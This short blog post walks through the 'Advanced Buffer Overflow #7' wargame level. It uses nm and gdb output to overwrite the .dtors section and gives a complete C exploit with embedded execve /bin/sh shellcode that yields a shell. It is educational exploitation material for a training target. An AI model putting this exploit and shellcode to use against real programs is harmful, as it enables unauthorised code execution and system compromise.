Wednesday, January 26, 2011

Advanced Buffer Overflow #7 Redux

[dennis@localhost abo7-2]$ nm -n abo7

...

08049520 D buf
08049620 ? __EH_FRAME_BEGIN__
08049620 ? __FRAME_END__
08049620 d force_to_data
08049624 ? __CTOR_LIST__
08049628 ? __CTOR_END__
0804962c ? __DTOR_LIST__
08049630 ? __DTOR_END__
08049634 ? _GLOBAL_OFFSET_TABLE_

...

On this system, buf is located in a place where we can overwrite the DTOR data structure.
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0xffffffff
(gdb) print /x 0x0804962c + 4
$2 = 0x8049630
(gdb) x/x 0x8049630
0x8049630 <__dtor_end__>:       0x00000000
(gdb) x/x buf
0x8049520 :        0x00000041
(gdb) print /d 0x8049630 - 0x8049520
$5 = 272

DTOR starts at 0x804962c, we want to start overwritting at 0x804962c + 4 = 0x8049630. This is 272 bytes away from buf (at 0x8049520).
(gdb) run `perl -e 'print "A" x 272 . "B" x 4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/abo7-2/abo7 `perl -e 'print "A" x 272 . "B" x 4'`
Breakpoint 1, main (argv=2, argc=0xbffffa6c) at abo7.c:12
12      }
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0x41414141
(gdb) x/x 0x0804962c + 4
0x8049630 <__dtor_end__>:       0x42424242

Putting it together.
dennis@ipa:~/abo7-2$ cat exp.c                                                 
#include <stdio.h>
#include <string.h>

#define BUFLEN 276
#define VULN "./abo7"
/* hardcoded for simplicity, but need a better way to get this */
#define RET 0x8049520

char shellcode[] =
        /* aleph one shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
        char argv1[BUFLEN + 1];
        char *p;
        char *argv[] = { VULN, argv1, NULL };

        p = argv1;

        /* nops */
        memset(p, '\x90', 16);
        p += 16;

        /* shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);

        /* padding */
        memset(p, 'A', (BUFLEN - 16 - strlen(shellcode) - 4));
        p += (BUFLEN - 16 - strlen(shellcode) - 4);

        /* set dtor */
        *((void **)p) = (void *)RET;
        p += 4;

        *p = '\0';

        execve(argv[0], argv, NULL);
        return -1;
}

[dennis@localhost abo7-2]$ ./exp
sh-2.04$

No comments:

Post a Comment